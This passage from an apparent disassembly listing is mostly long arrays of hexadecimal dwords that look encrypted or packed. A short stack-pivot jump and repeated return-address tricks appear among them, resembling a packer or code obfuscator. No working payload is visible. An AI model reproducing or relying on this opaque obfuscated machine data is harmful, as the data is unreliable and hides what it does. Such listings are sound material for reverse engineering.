4BB886D8h, 69210099h, 5FC0A4C0h, 0C930839Ch dd 7A440C2Dh, 96F25B09h, 0CE863EA8h, 6BD94F7Ch, 0D3E496F2h dd 7DDF3DCAh, 0A61E2068h, 831AC221h, 41A83A2h, 0E046B37Fh dd 92F3CD64h, 80C4B6D2h, 467AA8B1h, 0D2EC753Dh, 1057CE6Eh dd 0FA5ABF6Bh, 3B01F422h, 70h, 6BD94F89h, 87807D0Fh, 0A831AB16h dd 10AAFB89h, 30B4112Fh, 63DFE178h, 502B60F9h, 45FF69C6h dd 0F074D2ECh, 0DE7F0D69h, 0B9773886h, 0F36C521Ah, 0EC97D049h dd 4979DD42h, 63BA01F4h, 8000000h, 0F26BD94Fh, 883CA896h dd 0D983FEC0h, 5C087E40h, 0D88CFBC5h, 0FFBA2541h, 0C8C93093h dd 0A28CF7E9h, 6FBBC0AAh, 1F32482h, 0CE02C508h, 41F35A7Bh dd 0F46DD74Fh, 0B06BF490h, 19C93094h, 29EF7038h, 0D0C93094h dd 6957CE76h, 0FEDF46FEh, 64FD5FC0h, 41BB671Ch, 6DD25C27h dd 1F4B3F9h, 13Ah, 0D34F8800h, 0AA94F069h, 0B92B9A37h dd 68200198h, 0EE77ED56h, 0D441ED96h, 0AA94F06Ch, 0B12B9439h dd 60280928h, 97DFADC9h, 78DE37C9h, 0DD75337Bh, 4968D44Fh dd 0F58B22Dh, 0F591CF74h, 0EBD7AF6Ah, 183918C2h, 0D487187Ch dd 0E7C2EBD6h, 0EBD7C178h, 5D2B0AC2h, 93AD347Ch, 7F1BB232h dd 84184E0Dh, 2816DB9Bh, 704E06BEh, 0FE4C0213h, 0A60C6F0h dd 0BE64EAB0h, 79587966h, 0E1BA7FE0h, 6C17C2EBh, 0D5310FC2h dd 0BB84F66Fh, 16E96507h, 0A91D2302h, 0D84D733Bh, 0C8511373h dd 5F61C8E9h, 0D9E77EE6h, 7F61F86Ch, 0C83D1A04h, 2383B51Ch dd 0D0FBB070h, 13Ah, 129B3762h, 0C1A3E976h, 0CBEACF74h dd 0A554CBAFh, 26C2EC67h, 0B2D64F07h, 31A8148Ch, 0FD665810h dd 0CFEC4114h, 18391DACh, 40380E7Ch, 0A8562DF4h, 8DA853CCh dd 21C2ECh, 0BB85E148h, 0A3198946h, 8FF4CA82h, 11724CD5h dd 0AFD4CA53h, 0B72D9683h, 6C1E7A1Eh, 5079E07Fh, 0AB6EF1BEh dd 1CC2EC6Dh, 0E343753Dh, 10FBB08Ch, 47h, 169F37A2h, 0ED721672h dd 0C930942Eh, 2480BE9Fh, 501839A0h, 30945CCFh, 62C1FFC9h dd 0A4263FAh, 5BC45D7Ch, 0C93094A0h, 0EB80AAD1h, 0CAAECA4Bh dd 3094A655h, 4E0627C9h, 9456B52Ah, 0B697C930h, 888B1Fh dd 37390000h, 2B990D9Bh, 0D6B293B2h, 74A0F749h, 0EE7756CFh dd 58F173D0h, 2347FD66h, 4B39AB1Dh, 46C1840Dh, 66FFB7CCh dd 0EC403DF9h, 0B176CC2h, 6B0FB52Eh, 3EE9900Fh, 0C3E2C2ECh dd 90D884FDh, 9D37F39h, 4362604h, 0C6A28333h, 727E3DA2h dd 2B4FC2ECh, 0EC7205B4h, 0C6E7C6C2h, 0A275EA8Eh, 0E3C937E7h dd 655BC2h, 0DEA5DD44h, 0BAF39F54h, 0B37641DEh, 0A1C5CF6Ch dd 0EC727B3Eh, 14724CC2h, 4F397150h, 8AAB1171h, 67159123h dd 0BD82F594h, 3A7C34F8h, 16C55A96h, 0B7C93063h, 4CD3B796h dd 0CF7BD869h, 46CAA8DAh, 3E3E8F3Eh, 0E2457B1Fh, 0D7B32A62h dd 80C87CE9h, 369F45BEh, 0B0299B08h, 4FC2B0D4h, 3D8275F9h dd 67D5841Bh, 0D7F6C2E5h, 8D64009Fh, 0D73104C0h, 5ACAF46Dh dd 0F371D4EAh, 0D05A216Ah, 0E24C377Ch, 30541075h, 8B10CB54h dd 98B981A0h, 0DE4779D0h, 60C1FF66h, 0EA5B65FCh, 69DDE37Ah dd 97EC62FBh, 0B2C9B18Bh, 0AA1A8B68h, 1CC83D03h, 1A85E185h dd 81A08B5Fh, 95014968h, 3, 4FFB4927h, 0C0FE67D5h, 4678E163h dd 0C6F861DBh, 427CE55Fh, 0C7F960E4h, 447AE361h, 0C6F861DBh dd 457BE25Ah, 0EDFA63E1h, 81E28952h, 4C2h, 4EA8300h, 8B241487h dd 89562424h, 4C681E6h, 81000000h, 4EEh, 24348700h, 240C895Ch dd 5E08950h, 4, 8704E883h, 895C2404h, 0BD55241Ch, 64B74E9h dd 2C8BE989h, 4C48124h, 68000000h, 6926h, 81242489h, 42404h dd 505B0000h, 4389C889h, 24048B08h, 8B04C483h, 8950241Ch dd 405E0h, 0C0830000h, 24048704h, 240C8B5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5445C2 ; --------------------------------------------------------------------------- dd 7AE9463Ah, 4B79B6B8h, 0FFC50306h, 0ECC57BE0h, 0DE08C220h dd 94AF9057h, 5DF41D29h, 246D1D3Bh, 0C3384841h, 54E4F50Bh dd 15609857h, 42DBDA6Eh, 73A12663h, 3515FE26h, 0AF156663h dd 1E8A210Ah, 6BA8546Dh, 7E8D8D37h, 6A064B7Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 6A9DC352h, 669FE704h, 5E8ADE81h, 25952357h, 5B06441Ch dd 2F5D8D89h, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 4D06CFC3h, 6058BC56h, 81661A01h dd 0C74443E6h, 44067985h, 65F806h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 2F7F4C0Eh dd 288F2539h, 95097F08h, 6441C41h, 107185C7h, 644h, 0BD230000h dd 64431E1h, 8059D8Bh, 0B5FF0644h, 64408DDh, 5810Fh, 2BBE0000h dd 0FF6AFE6Ah, 440BF995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0DA9DE491h dd 8B222DA9h, 0FF006ADFh, 441C4D95h, 0EBC08B06h, 0F054A67Ch dd 0A69ED355h, 0C3153BA8h, 5286274h, 35BB897Ch, 0EA9E6FFFh dd 189DC2D6h, 6CE064C0h, 45A9FBDh, 7D399757h, 0BCCE8B11h dd 0CC847790h, 0D53D44BFh, 52E271CFh, 87417C7Dh, 0E8AF1159h dd 3D64BB52h, 504693B5h, 4D69E509h, 0B0716DEFh, 21431E1h dd 0C8DC49AEh, 901AD84Dh, 4BB70585h, 288C781Ch, 9FC8CE1Fh dd 5E98A9FFh, 7E623A26h, 9F5F17B4h, 0BE5DC8CCh, 0D697CEF4h dd 10EB75h, 3 dup(0) dd 8B000000h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0B7C8D6B0h, 817D3814h, 4EB693DAh dd 6E92Dh, 17AC0000h, 6F08B8E7h, 20CDBD83h, 75000644h dd 25BD8309h, 6440Bh, 53501974h, 2DB8C08Bh, 89000004h dd 4402F585h, 4F9D8D06h, 0FF0646A8h, 83585BD3h, 440B25BDh dd 17740006h, 2DB85350h, 89000004h, 4402F585h, 3E9D8D06h dd 0FF0646A5h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 6AFFC353h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0CCDCC350h, 23B35497h, 0B589AFF8h, 6442C59h, 8D8BC08Bh dd 6440DCDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 98C35747h, 6533CC58h, 83D08BCAh, 840F00F9h, 0AEh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 68C35646h dd 2C3D8B64h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0CFA5C351h, 0B8AFA1C1h dd 4237DD80h, 0FF0BD58Ah, 5C840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0F24695C3h dd 698D011Bh, 8B06442Eh, 0D7BF0F3Fh, 6AC032h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 523FC8C3h dd 0BD8924F8h, 6441CCDh, 9D01AAF3h, 6440395h, 4935D78Bh dd 53535041h, 6E8h, 5DED0000h, 66ACF2F1h, 0E35BCA81h, 85C65E5Eh dd 64402E9h, 999D8947h, 60064425h, 10D58D8Bh, 860F0644h dd 6, 18C5B58Bh, 68610644h, 6EBC475Ch, 870Fh, 4810000h dd 1A40D024h, 55006A6Eh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0E090CF8Eh, 0F24DF98h, 387h, 0D68B6600h dd 17E9B5FFh, 858D0644h, 64777AFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 38C35646h, 898D89F2h, 66064431h dd 0EC36F281h, 11E9D0FFh, 0EE000000h, 0D13848BAh, 3508AEB3h dd 88B17AAEh, 0BC056811h, 2FE98589h, 8E0F0644h, 3, 0BED2B70Fh dd 5B4565DCh, 2E985C6h, 6A530644h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0A344C357h dd 2890Fh, 5A500000h, 0F0703768h, 14E9C9h, 62360000h, 0A82CA5E2h dd 0DE506571h, 0E53180BCh, 0D3211FC1h, 3481832Ah, 681ACB24h dd 0A9852941h, 0FF064428h, 4417E9B5h, 0B5B58B06h, 8D06440Fh dd 4777AF85h, 0EE816606h, 0D0FF4B4Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 31C35545h, 9C8FD90Bh, 0DC5398Fh dd 336A858Dh, 958B0647h, 6441535h, 30158589h, 0B58B0644h dd 6441D21h, 0FF6A206Ah, 301595FFh, 49350644h, 0C7535041h dd 441BE985h, 106h, 3D85C700h, 64425h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 87F5C350h, 250D7ECDh, 12E9E71Bh, 2D000000h, 9FCA6D7Eh dd 0E413E981h, 0ED4EEBC7h, 6ABF724Bh, 81BD83AEh, 64423h dd 60840Fh, 0F5600000h, 2A5D858Bh, 8B610644h, 44254D85h dd 0B5036006h, 6442465h, 5DBD8961h, 64064430h, 0A3h, 25E28000h dd 2989858Bh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0DBAFDAC3h, 5830F3Fh, 66000000h dd 4826E681h, 2EE99D01h, 0E08B0644h, 0BD83C8B2h, 6442A8Dh dd 85850F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0AFECC352h, 179E521Dh dd 0A5BD0199h, 8B06442Ah, 442541B5h, 0E985C606h, 56064402h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 87C35343h dd 8166C1A0h, 0E88852E2h, 4, 0A9C530DFh, 0F08B6650h, 424448Bh dd 2830F50h, 60000000h, 8B5A61h, 4489F08Bh, 50520424h dd 14E852h, 16C30000h, 17E59733h, 0EC267866h, 0A91BB755h dd 5AAA0B8Ch, 0F5AD2A1h, 0FE831h, 5CA70000h, 89829B1Ch dd 829C9471h, 32B41BB4h, 585A5E5Bh, 8166585Ah, 0FFB88EDAh dd 4417E9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0F2B70F20h, 77AF858Dh, 6A0647h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8B190BC3h, 44324195h, 6AD0FF06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 16CAC350h dd 0C9958BB4h, 9006441Eh, 0F525060h, 81h, 60310F00h, 61585A61h dd 9052B650h, 8E8h, 75D18200h, 0A7020FB6h, 699D8994h, 5A064418h dd 32E98D8Dh, 870F0644h, 0Bh, 0C2BF0F60h, 32BD8D89h, 91610644h dd 0D8D0Fh, 0F600000h, 84h, 63B6B800h, 506168ACh, 0FDB86660h dd 0F52506Ch, 83h, 53310F00h, 61585A5Bh, 6AF08B91h, 31BA6604h dd 4E847h, 10000000h, 52500000h, 0F28B6660h, 0E8310F61h dd 0Fh, 0D2167021h, 8195D677h, 0C7532B07h, 5EA32890h, 5050585Ah dd 771FBA66h, 24448B5Eh, 8BD18B04h, 0BA665600h, 895E3446h dd 60042444h, 5250C88Ah, 585A310Fh, 0CE815861h, 0FD9DE6Bh dd 2519B5FFh, 0A3B20644h, 0B58BD0FFh, 6442131h, 2519BD8Bh dd 11E80644h, 0D000000h, 505037ABh, 0C4689A53h, 2AB86936h dd 0E652F57Ah, 80616060h, 5A6164D4h, 8B3C7F03h, 4432E195h dd 0F8C78106h, 0E8000000h, 6, 9445785Bh, 5AF95600h, 202447C7h dd 8B600000h, 44180DB5h, 1BD8306h, 64B7Ch, 18F840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 9A3647C3h, 830306FDh, 8F0F28C7h, 1, 11E9F9h, 93C90000h dd 0E033791Ah, 0FAB89965h, 6594684Ah, 0C72E5705h, 696A2E07h dd 50006A64h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 87C7D0FBh, 59987A8Fh, 0BE960h, 0E640000h dd 0C6DAB8F9h, 0EA09AF38h, 5E887h, 0B2A50000h, 8B632D90h dd 4421D595h, 2B615E06h, 440A55B5h, 6E906h, 81EF0000h dd 2FFFF5D9h, 610447C7h, 8B006174h, 4B7C0985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 9D843D8h, 44025D85h, 0C478906h, 0AA3CBA66h, 7C0D858Bh dd 8B66064Bh, 84789F3h, 28C783F8h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 79C35040h, 0E84B532Fh, 860F2D9Eh dd 4, 0FE21BE66h, 632E07C7h, 840F6E6Fh, 0 dd 660447C7h, 6A006769h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0CC19C355h, 2F6F3602h dd 880FF769h, 2, 858BD38Bh, 64B7C05h, 1F859509h, 47890644h dd 0EBCA810Ch, 8B3512B5h, 4B7C0185h, 10E806h, 0EE8F0000h dd 35381C0Bh, 0A5CB8FDEh, 539721BBh, 8B5670B3h, 44301995h dd 895A5E06h, 8B660847h, 13E958D3h, 72000000h, 4D0A2F4h dd 0A996795h, 0A7A149DDh, 2E789ECDh, 8D8DC990h, 6441A99h dd 0BE6691FCh, 8B508364h, 6A91D0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 7AD723C3h, 0C67210h dd 0B70F9688h, 0E9B5FFF1h, 0F064432h, 2B68F2BFh, 52D1016Bh dd 0D096BA57h, 5A5E54AAh, 0D5240481h, 312EFEA4h, 440D198Dh dd 19B5FF06h, 89064425h, 441D3195h, 820F5706h, 6, 1665958Bh dd 0FF5E0644h, 1BD7BAD0h, 0B58B0CA5h, 6441F71h, 0B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0F00E3DDFh, 0C00B62CFh, 6F840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 9AA37FC3h dd 40D14718h, 958BF4D5h, 6442AB5h, 2CEDB5FFh, 81660644h dd 0FFA7FAE2h, 440BF995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 78A41F1Eh dd 89C346C4h, 4428658Dh, 68A0F06h, 89000000h, 4430C58Dh dd 0E8C08B06h, 7, 781D0D66h, 8B266AA7h, 441D1195h, 0BD835E06h dd 64420CDh, 83097500h, 440B25BDh, 19740006h, 0C08B5350h dd 42DB8h, 29858900h, 8D064422h, 46A8B69Dh, 5BD3FF06h dd 25BD8358h, 6440Bh, 53501774h, 42DB8h, 29858900h, 8D064422h dd 46A5579Dh, 5BD3FF06h, 0D0BF0F58h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 1EC35040h, 5B58B0Ch, 8B06442Dh dd 0C8BE66C0h, 0EBC08BEDh, 0E0549604h, 496E979h, 21830000h dd 0B82C12BBh, 279BA50Ch, 0BD221CB5h, 1E88B61Fh, 32D0FA6h dd 9C35AF19h, 288143A2h, 9831AB16h, 2E873DA6h, 0EA910E6Ah dd 0E3C2E50Eh, 0D64F07B5h, 5FC9F76Eh, 11724CE5h, 8FF4CA53h dd 12724CD5h, 93D18817h, 0DBFAC930h, 532863FAh, 4BF96AC7h dd 0F765DCE2h, 893BAD93h, 0D0793110h, 50C973EEh, 0D44DF76Eh dd 0EE4BD7ACh, 5E60C973h, 79E67FE5h, 0C93094BFh, 54B9651Eh dd 1F4B3F0h, 6905h, 0D64FB700h, 0AF68F76Eh, 0CC93094h dd 0DE46AB77h, 1701F4B3h, 1, 0BB2B15A5h, 77F4109h, 0B92D370Eh dd 2C0D9448h, 43A1F45Eh, 61C5FB62h, 88239A6h, 6A4BC930h dd 7EA910Eh, 0C2E3C930h, 0DB447AE3h, 7CEBD32h, 81FE8784h dd 42DBFADBh, 4BA87209h, 0A4C069DBh, 205A14D6h, 0FBB3E900h dd 4DE460C5h, 35AF1729h, 2B15CF7Dh, 7F4109BBh, 0FCC25B09h dd 0DCB8DC88h, 30949843h, 5B2C35C9h, 365F97F6h, 5B017E40h dd 8AC2E3C2h, 0AC760D13h, 0ABA2B15h, 5A0A7C42h, 0EC58CDF3h dd 36D74B75h, 0EF1841CCh, 0EA7352E4h, 0B54CD6ADh, 31A81C8Bh dd 66E5810h, 1B01F47Dh, 0B0AA4269h, 327AD0E7h, 6062h, 7115D000h dd 30942BEEh, 0CF6DD4C9h, 20017756h, 0E7BEDD52h, 6D255A88h dd 0D64FF553h, 0A0C478E8h, 24BD279Eh, 9FD44D05h, 6BDD3AE4h dd 0F86E50F9h, 76EBD54Ch, 63185FC6h, 6B0252B7h, 483301F4h dd 81000000h, 0C74D94Fh, 0F56CD84Fh, 4DD4F5D4h, 35AC1073h dd 47FA245Fh, 1D550F79h, 0B61FC523h, 6DD74F04h, 94AD6BF4h dd 0F254C930h, 6CD5EB72h, 780369F0h, 40A60DAEh, 0A716DC5Ch dd 8F9BE086h, 0F4693AAAh, 1FB01h, 4F490000h, 0CEF069D3h dd 0E76EF55h, 0D44CA975h, 0EB87C168h, 3DA2C6A2h, 0C930947Eh dd 0DE1C6E4Fh, 3893FA4Fh, 8916723Ah, 0CF748323h, 8BEF8BAAh dd 0EC636514h, 0F4766C2h, 893BA896h, 3FA51E20h, 638039A6h dd 2A51C2ECh, 32B21300h, 17E52456h, 0B318DE53h, 0F76C52FBh dd 8EB0D44Dh, 1332AB11h, 4400655Bh, 6EB8C3DDh, 9A02481h dd 0AFF7C73Fh, 11E6CFBh, 37DE0000h, 0E976129Bh, 0CF74C1A3h dd 0E65EC6F8h, 60F9D8AEh, 1B7FE55Eh, 6739E07Fh, 0B392C2ECh dd 0F76C52FBh, 79EAD44Dh, 374C52CBh, 0AF3054EBh, 0C2EC66ECh dd 8AB4FCDDh, 0ABCFAB19h, 0EC678534h, 2F6746C2h, 8654B086h dd 0A7D5FBB0h, 0F364D97Ah, 96C68E31h, 30h, 4ACC80F2h, 0EBE3406Ch dd 9F3711A3h, 7EED7216h, 0CFC93094h, 31E877EEh, 62C93094h dd 0BC580D19h, 27821D79h, 0A0C93094h, 99BC2881h, 0E000000h dd 76129B37h, 74A097E9h, 4ED7F6CFh, 8B141370h, 0C2EC87D0h dd 50F9D8F9h, 0D64FF56Eh, 0EC898D49h, 0A31988C2h, 259F043Ah dd 9447D8BCh, 35C2EC88h, 0FA245F14h, 7136802h, 6DD74E70h dd 0A39DD5F4h, 0BB299D42h, 0DD75339Ah, 0AFAB3450h, 1EC9380Dh dd 2B98A63Fh, 3C5820B9h, 0E57A9D02h, 0C9210B36h, 0E97B697h dd 0B6335A7Ch, 466791E8h, 34A9750Eh, 775119Ch, 0E2E64538h dd 2D490123h, 53117749h, 0D391F4CAh, 24A6B4Ah, 6CDB9D9Dh dd 6D0928CFh, 0D54CF053h, 0A715BCF4h, 9C037115h, 1B4742A4h dd 9E7A21BEh, 3753C92Fh, 2F9DF1A8h, 0DAFBDAC9h, 0F13CD492h dd 240E0A95h, 81BFCF7Bh, 1AC8BA22h, 0A385CE21h, 92AC3514h dd 241AB331h, 39C05BFh, 42916C71h, 930F3155h, 101A6129h dd 0AB02C223h, 2DB43095h, 6A0EAE13h, 692F1318h, 8C3547FDh dd 0D44D051Ch, 0EE4BD7ACh, 5866CF75h, 0DE392AEBh, 6EA8F9B3h dd 6408CC1Ch, 3F1E94E3h, 0D32A6h, 15800000h, 942BEE71h dd 0BD9CC930h, 4F7FCDF5h, 0C0FE67D5h, 4678E163h, 0C6F861DBh dd 427CE55Fh, 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah dd 0EDFA63E1h, 81E68956h, 4C6h, 4EE8300h, 8B243487h, 0B9682424h dd 89000051h, 89512434h, 4C181E1h, 83000000h, 0C8704E9h dd 1C895C24h, 0D1685724h, 5F626049h, 6F3FBD55h, 0DDF7523Fh dd 5CDCF581h, 0EF31C9EBh, 5FFE895Dh, 241C8B54h, 4C481h dd 89570000h, 87B89F7h, 81243C8Bh, 4C4h, 2434FF00h, 4C4815Bh dd 0FF000000h, 815E2434h, 4C4h, 0F4C4E900h, 0C77EFFF8h dd 5A8A3715h, 0DC784C01h, 0CEC8FA9h, 4B89DAB8h, 0FFC50306h dd 0B78C9CE0h, 7B189554h, 5617CF0Ch, 0A677312Dh, 97361A3Ch dd 12084F4Dh, 9B78BE06h, 0DDC57653h, 0BF04EB54h, 0E9157A10h dd 5E1h, 58F16BD9h, 0EF46FE66h, 62CB71D1h, 0D079E35Ch dd 65CC78EEh, 97FDD47h, 59CCF25Bh, 57C42EBh, 63C0FE57h dd 680C48E1h, 0E50A44F7h, 61D385C2h, 0F76ED64Fh, 81E55FC9h dd 94BF7AE5h, 0E040C930h, 152B0A7Ch, 0D37A32B2h, 0A8CC78EDh dd 28B12B96h, 0E6D84109h, 605EC77Dh, 7C951304h, 100CAF99h dd 0AE315531h, 0C9303AEBh, 0C2B43094h, 7932ABE3h, 13611802h dd 1B840C8Ch, 0C9304760h, 0F93A4869h, 0F6C88089h, 1A7ED78Dh dd 9A03C124h, 0A38242A4h, 8B6ED5EBh, 30016514h, 664766C9h dd 42F96602h, 8BC93001h, 754BE2AAh, 5337AE0Eh, 0F1A837h dd 0E4DAC930h, 7A5BC282h, 0E94B295Bh, 4B1BBEBFh, 1ACA3D03h dd 9680FB83h, 48D74AB9h, 0C9300691h, 933A1B3Ah, 0BA4285F7h dd 8A6E5E8h, 5F057E40h, 8D9F59C6h, 453EC930h, 0AD1074D9h dd 642501F4h, 41000000h dd 0C45D077Fh, 0DF340DB6h, 0CAEB241Eh, 0D64F3082h, 0AF68F76Eh dd 0CC93094h, 0DE46AB77h, 1701F4B3h, 6, 67D54D73h, 0D74F9D2Fh dd 8EAF0D72h, 7BD2917h, 9D3FA09Eh, 592B4F04h, 97D76A1h dd 0E291295Bh, 35E19AD2h, 9CF86CD8h, 34D8B8EEh, 61296DAEh dd 98DEACC8h, 0C44334F7h, 3BA896DEh, 4F922089h, 0AB12ED9h dd 0C3C93094h, 0F11E31B1h, 27069995h, 45A19F06h, 83BD1F80h dd 69FBE1Eh, 5AB76318h, 0EFD178ECh, 637F9D76h, 0EE35299Bh dd 0F86856CFh, 27EE1717h, 23BCE93Ch, 0C9306C78h, 23517051h dd 9B02D51Ch, 0AA331270h, 0A78C96EDh, 1F4844Fh, 0C3E4h dd 2B155600h, 3AAA1AB7h, 0FB6D531Bh, 64E3D01Ah, 0C7E6694Bh dd 5C00605Eh, 3BA00638h, 0AD3415C7h, 165DC48Ch, 54641672h dd 7D1ABC46h, 0E87F3AA5h, 7648C92Fh, 3B73520Ah, 0F79D640h dd 0EA98FC55h, 0A66756Eh, 0DFE1A92Dh, 5C62FB69h, 231D79E3h dd 0A5841DBFh, 483374EDh, 0D04F2BDEh, 0C9301829h, 0CBF183A2h dd 9C5E0F03h, 61B583CBh, 0A601F468h, 0B72229D4h, 8EDC921h dd 94235139h, 31612927h, 57h, 0FB671583h, 0FB3BEB9Dh, 3096A8E0h dd 0EAAB6EF1h, 0F154C92Fh, 5240573h, 9D3FA29Ch, 44C53A04h dd 0C330F808h, 0EE775648h, 56CF75D0h, 5BC661Dh, 2FFEDF9Ah dd 0E8C9E8C9h, 0C02DF982h, 0E557FE66h, 0F46DD74Fh, 3094AD6Bh dd 0AB770CC9h, 0F4B3DE46h, 11701h, 4FA50000h, 0CEF069D3h dd 0E76EF55h, 0D44CA975h, 0EB87C168h, 0F359C6A2h, 7ACF74B0h dd 87FCC25Bh, 7AE361C2h, 201E7A5Bh, 0FE571FC5h, 85FE63C0h dd 466746DFh, 40DFBBDFh, 0C2EC7899h, 0C45B1332h, 0C2EC7813h dd 0EE4BD7ACh, 0F173D075h, 0DE4779D0h, 0FF9BFF66h, 0EC78B960h dd 0D3312C2h, 5D632B99h, 26187CE8h, 0A69801BBh, 0ECA4853Fh dd 6106B75h, 0A108BC29h, 0D78DFBC5h, 11276F4Eh, 0FBB097B5h dd 550F744Ah, 1654D1Dh, 17290000h, 0CA7830ACh, 8BC2B15h dd 236A0640h, 0C192D847h, 0FADBCF74h, 39E85D63h, 0EC66F3A6h dd 0D4F5D4C2h, 62E2437Dh, 3DED9FFBh, 795DB5C1h, 2380BEF6h dd 8DFBC5A1h, 18069FD7h, 0E95AB763h, 88B6D27Bh, 0D9EFA71Dh dd 0FBB04F6Dh, 6286h, 2B153400h, 0B19009BBh, 8117BFF9h dd 8341A227h, 78E783A2h, 0C9309511h, 0B29E3A48h, 5D3BBE76h dd 4FD0A2Fh, 4F0713ACh, 1E811839h, 0C9300E5Bh, 52CEF094h dd 0DB7BDB9h, 537297E9h, 6ED5EBCAh, 31FD86CEh, 0B665FA9Eh dd 17C92FFEh, 9C387E36h, 7269E06h, 0FE8DFC63h, 0FFDEC92Fh dd 0B5C256h, 37700000h, 0BEFC419Bh, 8DE63E1Eh, 92ACC8ACh dd 37168F2Dh, 0ED9EE07Fh, 0DEFFCF73h, 580C7947h, 14C7583Ch dd 0B5C2EBD5h, 1175DC94h, 0D52FEA75h, 0B998C2EBh, 0EE56CFF1h dd 0D62CE877h, 0B829C2EBh, 3FA39D04h, 156E049Dh, 65326009h dd 0D9837A96h, 3DE992F8h, 0CA71EE8Ah, 3C2EBB6h, 0EF546A22h dd 0F69ADC75h, 0B8A9DBBFh, 36302AF4h, 0BFDBBFF7h, 4BC4CBCDh dd 0DDFC65D7h, 0EF5342AFh, 8665148Bh, 4766C2ECh, 1072900Fh dd 556BC938h, 47F56CF1h, 0FFDEFFDEh, 0EFF3E99Bh, 76B1CCE7h dd 0EFCE570Dh, 211F86CEh, 0E19900C4h, 37DB909Ah, 0DF059AFEh dd 0FECF6C2Ah, 37C476DFh, 11C8579Bh, 0BAC93094h, 41DEBA9Bh dd 0CF7C1F23h, 72BBDAA8h, 0B37FE251h, 0C8AC8DFBh, 4BD28AF6h dd 0F7872339h, 21E2A4h, 76EFD148h, 9D65148Bh, 4766C2E4h dd 94F1CF66h, 7AD649D0h, 0B3D6161Dh, 4A74ED4Fh, 7EF069DBh dd 0C93C1905h, 0A713A1Bh, 12D23320h, 24BBDFBBh, 0B3B61D75h dd 13F7756h, 87B920A4h, 0A2C6A21Ah, 0B61D7E3Dh, 266E4FB3h dd 0C7A3C7BFh, 0B61DA158h, 0AD142AB3h, 96B7960Fh, 9C79A5DEh dd 9F3DA227h, 21BEDABEh, 0B3B61D7Ah, 933A7253h, 0B99685F7h dd 5B67303Ch, 0CB82D13h, 75EF5668h, 1230A43Dh, 82000000h dd 2BEE7115h, 9CC93094h, 0A02483BDh, 68501839h, 67D54FDAh dd 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h dd 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 8957EDFAh, 4BD55E7h dd 1000000h, 0EF835DEFh, 243C8704h, 1404685Ch, 3C890000h dd 241F6824h, 14890000h, 95BD5524h, 81326E45h, 0DD4501C5h dd 0EA8952D3h, 5D5AD789h, 24148B54h, 6804C483h, 5998h dd 81243C89h, 383D2404h, 428F6C70h, 86A8108h, 6C70383Dh dd 5624148Bh, 0C681E689h, 4, 4C681h, 34870000h, 3C8B5C24h dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0F8EEA5E9h dd 98D91AFFh, 8FECB86Eh, 0C503064Bh, 7920E0FFh, 0C75E7B5Dh dd 0ED7E7ECDh, 6B984D06h, 1C1D137Eh, 0E5955E3Ch, 5E865D3Dh dd 92995121h, 7F1B2C58h, 913B5E41h, 545E11F0h, 74E70AEAh dd 0C7493D07h, 7F0B712Ah, 0ABD177B9h, 505C5EF3h, 4B866B3Bh dd 39320D94h, 8A055F00h, 163E3D2Fh, 0AE9D2A4Eh, 8C7C18EDh dd 4C61798Ch, 47FB7810h, 80CA1999h, 6E80157h, 5B000000h dd 29FE7348h, 10BA6698h, 0C0815802h, 68EDh, 0BED1B1h, 81000000h dd 0C47C96EFh, 634FF7Bh, 8B5B37B5h, 